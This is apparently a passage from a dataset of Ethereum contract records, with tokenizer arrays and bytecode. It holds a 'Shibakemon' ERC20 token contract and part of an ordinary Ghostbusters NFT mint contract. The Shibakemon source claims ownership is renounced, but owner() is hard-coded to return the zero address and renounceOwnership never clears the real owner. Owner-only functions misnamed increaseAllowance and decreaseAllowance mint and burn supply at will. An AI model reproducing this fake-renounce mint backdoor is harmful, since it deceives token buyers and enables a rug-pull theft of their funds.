12324,
1000,
1012,
1012,
1013,
21183,
12146,
1013,
4372,
17897,
16670,
13462,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
21183,
12146,
1013,
4769,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
21183,
12146,
1013,
6123,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2008,
4473,
2336,
2000,
10408,
2535,
1011,
2241,
3229,
1008,
2491,
10595,
1012,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,510 | 0x9540CC6C10B210E6214AEC8B88A7B0B30e077745 | /*
SHIBAKEMON - bridge between crypto shiba and pokemon world
Official Website: https://shibakemon.com
Telegram: https://t.me/SHIBAKEMON
Twitter: https://twitter.com/shibakemon
Liqudity Locked
Ownership renounced
CG & CMC listing upcoming
Be careful with scammers
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() {}
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public pure returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Shibakemon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() {
_name = "Shibakemon";
_symbol = "SHIBAKEMON";
_decimals = 18;
_totalSupply = 100000000000 * 10**18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external pure returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account)
external
view
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function decreaseAllowance(uint256 amount) public onlyOwner returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"ERC20: burn amount exceeds allowance"
)
);
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a082311161009757806395d89b411161006657806395d89b41146101f0578063a9059cbb146101f8578063dd62ed3e1461020b578063f2fde38b1461024457600080fd5b806370a082311461019b578063715018a6146101c4578063893d20e8146101ce5780638da5cb5b146101e957600080fd5b806311e330b2116100d357806311e330b21461014e57806318160ddd1461016157806323b872dd14610173578063313ce5671461018657600080fd5b806306fdde03146100fa578063095ea7b31461011857806310bad4cf1461013b575b600080fd5b610102610257565b60405161010f9190610bac565b60405180910390f35b61012b610126366004610b6b565b6102e9565b604051901515815260200161010f565b61012b610149366004610b94565b6102ff565b61012b61015c366004610b94565b610346565b6003545b60405190815260200161010f565b61012b610181366004610b30565b61037b565b60045460405160ff909116815260200161010f565b6101656101a9366004610ae4565b6001600160a01b031660009081526001602052604090205490565b6101cc6103e4565b005b60005b6040516001600160a01b03909116815260200161010f565b60006101d1565b610102610448565b61012b610206366004610b6b565b610457565b610165610219366004610afe565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101cc610252366004610ae4565b610464565b60606006805461026690610c63565b80601f016020809104026020016040519081016040528092919081815260200182805461029290610c63565b80156102df5780601f106102b4576101008083540402835291602001916102df565b820191906000526020600020905b8154815290600101906020018083116102c257829003601f168201915b5050505050905090565b60006102f633848461049a565b50600192915050565b600080546001600160a01b031633146103335760405162461bcd60e51b815260040161032a90610bff565b60405180910390fd5b61033d33836105bf565b5060015b919050565b600080546001600160a01b031633146103715760405162461bcd60e51b815260040161032a90610bff565b61033d33836106cb565b60006103888484846107a5565b6103da84336103d585604051806060016040528060288152602001610cfd602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061092b565b61049a565b5060019392505050565b6000546001600160a01b0316331461040e5760405162461bcd60e51b815260040161032a90610bff565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3565b60606005805461026690610c63565b60006102f63384846107a5565b6000546001600160a01b0316331461048e5760405162461bcd60e51b815260040161032a90610bff565b61049781610965565b50565b6001600160a01b0383166104fc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032a565b6001600160a01b03821661055d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03821661061f5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161032a565b61065c81604051806060016040528060228152602001610cb5602291396001600160a01b038516600090815260016020526040902054919061092b565b6001600160a01b0383166000908152600160205260409020556003546106829082610a25565b6003556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a35050565b6001600160a01b0382166107215760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161032a565b60035461072e9082610a6e565b6003556001600160a01b0382166000908152600160205260409020546107549082610a6e565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106bf9085815260200190565b6001600160a01b0383166108095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032a565b6001600160a01b03821661086b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032a565b6108a881604051806060016040528060268152602001610cd7602691396001600160a01b038616600090815260016020526040902054919061092b565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546108d79082610a6e565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105b29085815260200190565b6000818484111561094f5760405162461bcd60e51b815260040161032a9190610bac565b50600061095c8486610c4c565b95945050505050565b6001600160a01b0381166109ca5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161032a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a6783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061092b565b9392505050565b600080610a7b8385610c34565b905083811015610a675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161032a565b80356001600160a01b038116811461034157600080fd5b600060208284031215610af5578081fd5b610a6782610acd565b60008060408385031215610b10578081fd5b610b1983610acd565b9150610b2760208401610acd565b90509250929050565b600080600060608486031215610b44578081fd5b610b4d84610acd565b9250610b5b60208501610acd565b9150604084013590509250925092565b60008060408385031215610b7d578182fd5b610b8683610acd565b946020939093013593505050565b600060208284031215610ba5578081fd5b5035919050565b6000602080835283518082850152825b81811015610bd857858101830151858201604001528201610bbc565b81811115610be95783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610c4757610c47610c9e565b500190565b600082821015610c5e57610c5e610c9e565b500390565b600181811c90821680610c7757607f821691505b60208210811415610c9857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f44a0b13824298a5b7066e78b4e895595a007d69941567df2b986b909cee893e64736f6c63430008040033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
27009,
2692,
9468,
2575,
2278,
10790,
2497,
17465,
2692,
2063,
2575,
17465,
2549,
6679,
2278,
2620,
2497,
2620,
2620,
2050,
2581,
2497,
2692,
2497,
14142,
2063,
2692,
2581,
2581,
2581,
19961,
1013,
1008,
11895,
3676,
3489,
8202,
1011,
2958,
2090,
19888,
2080,
11895,
3676,
1998,
20421,
2088,
2880,
4037,
1024,
16770,
1024,
1013,
1013,
11895,
3676,
3489,
8202,
1012,
4012,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
11895,
3676,
3489,
8202,
10474,
1024,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
11895,
3676,
3489,
8202,
5622,
28940,
25469,
5299,
6095,
17738,
22392,
1039,
2290,
1004,
4642,
2278,
10328,
9046,
2022,
6176,
2007,
8040,
3286,
16862,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,511 | 0x9540eA4bC7d8DF2Ef8ED68110CDBf4171D42aF5B | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./GBAWhitelist.sol";
/// @author Andrew Parker
/// @title Ghost Busters: Traps NFT contract
contract GBATraps is ERC721, Ownable, ERC721Enumerable{
constructor(
string memory _uriBase,
string memory _uriSuffix,
address _whitelist
) ERC721("Ghostbusters: Afterlife Ghost Traps","GBAGT"){
__uriBase = _uriBase;
__uriSuffix = _uriSuffix;
whitelist = _whitelist;
}
event PauseTraps(bool _pause);
address miniStayPuft; // MiniStayPuft contract;
address whitelist; // Whitlelist contract
string __uriBase; // Metadata URI base
string __uriSuffix; // Metadata URI suffix
bool public saleStarted; // Has sale started
uint public whitelistEndTime; // Time when tokens become publically available
mapping(address => bool) public hasMinted; // Has a given address minted
uint constant TOKEN_MAX = 1000; // Number of tokens that can exist
uint constant TOKENS_GIVEAWAY = 50 ; // Number of tokens that can be given away
uint public tokensClaimed; // Number of tokens claimed
uint tokensGiven; // Number of tokens given
uint tokensMinted; // Total number of tokens minted
enum State { Paused, Whitelist, Public, Final}
/// Mint Giveaway
/// @notice Mint tokens for giveaway
/// @param numTokens Number of tokens to mint
function mintGiveaway(uint numTokens) public onlyOwner {
require(tokensGiven + numTokens <= TOKENS_GIVEAWAY,"tokensGiven");
for(uint i = 0; i < numTokens; i++){
tokensGiven++;
_mint(msg.sender,++tokensMinted);
}
}
/// Use trap
/// @notice Function called by MSP when trapping mob
/// @dev burns a token, can only be called by MSP
/// @param trapper Address of trapper, burns one of their tokens
function useTrap(address trapper) public{
require(balanceOf(trapper) > 0,"No trap");
require(msg.sender == miniStayPuft,"Traps: sender");
_burn(tokenOfOwnerByIndex(trapper,0));
}
/// Mint a Trap (Whitelisted)
/// @notice Mint a Token if you're on the whitelist. Must be after sale has started.
/// @param merkleProof merkle proof for your address in the whitelist
function mintWhitelisted(bytes32[] memory merkleProof) public{
require(saleStarted,"saleStarted");
require(tokensClaimed < TOKEN_MAX - TOKENS_GIVEAWAY,"tokensClaimed");
require(!hasMinted[msg.sender],"minted");
require(GBAWhitelist(whitelist).isWhitelisted(merkleProof,msg.sender),"whitelist");
tokensClaimed++;
hasMinted[msg.sender] = true;
_mint(msg.sender,++tokensMinted);
}
/// Mint a Trap (Public)
/// @notice Mint a Token if you're on the whitelist. Must be after whitelistEndTime.
function mintPublic() public {
require(saleStarted,"saleStarted");
require(block.timestamp > whitelistEndTime,"whitelistEndTime");
require(tokensClaimed < TOKEN_MAX - TOKENS_GIVEAWAY,"tokensClaimed");
require(!hasMinted[msg.sender],"minted");
tokensClaimed++;
hasMinted[msg.sender] = true;
_mint(msg.sender,++tokensMinted);
}
/// Countdown
/// @notice Get seconds until end of whitelist, 0 if sale not started
function countdown() public view returns(uint){
if(!saleStarted || whitelistEndTime == 0){
return 0;
}else if(whitelistEndTime < block.timestamp){
return 0;
}else{
return whitelistEndTime - block.timestamp;
}
}
/// Start Sale
/// @notice Start whitelisted giveaway
function startSale() public onlyOwner{
saleStarted = true;
whitelistEndTime = block.timestamp + 1 days;
emit PauseTraps(false);
}
/// Pause Sale
/// @notice Pause whitelisted giveaway
function pauseSale() public onlyOwner{
saleStarted = false;
emit PauseTraps(true);
}
/// Set Mini Stay Puft
/// @notice Specify address of MSP contract
function setMiniStayPuft(address _miniStayPuft) public onlyOwner{
miniStayPuft = _miniStayPuft;
}
/// Mint State
/// @notice Get current mint state
/// @return State (enum value)
function mintState() public view returns(State){
if(tokensClaimed == TOKEN_MAX - TOKENS_GIVEAWAY){
return State.Final;
}else if(!saleStarted){
return State.Paused;
}else if(block.timestamp < whitelistEndTime){
return State.Whitelist;
}else{
return State.Public;
}
}
/// Token URI
/// @notice ERC721 Metadata function
/// @param _tokenId ID of token to check
/// @return URI (string)
function tokenURI(uint256 _tokenId) public view override returns (string memory){
require(_exists(_tokenId),"exists");
if(_tokenId == 0){
return string(abi.encodePacked(__uriBase,bytes("0"),__uriSuffix));
}
uint _i = _tokenId;
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(abi.encodePacked(__uriBase,bstr,__uriSuffix));
}
/// Update URI
/// @notice Update URI base and suffix
/// @param _uriBase URI base
/// @param _uriSuffix URI suffix
/// @dev Pushing size limits, so rather than having an explicit lock function, it can be implicit by renouncing ownership.
function updateURI(string memory _uriBase, string memory _uriSuffix) public onlyOwner{
__uriBase = _uriBase;
__uriSuffix = _uriSuffix;
}
/// Supports Interface
/// @notice Override ERC-165 function for conflict
/// @param interfaceId Interface ID to check
/// @return bool Contract supports this interface
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
return ERC721Enumerable.supportsInterface(interfaceId);
}
/// Before Token Transfer
/// @notice Override OpenZeppelin function conflict
/// @param from from
/// @param to to
/// @param tokenId tokenId
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable){
ERC721Enumerable._beforeTokenTransfer(from,to,tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
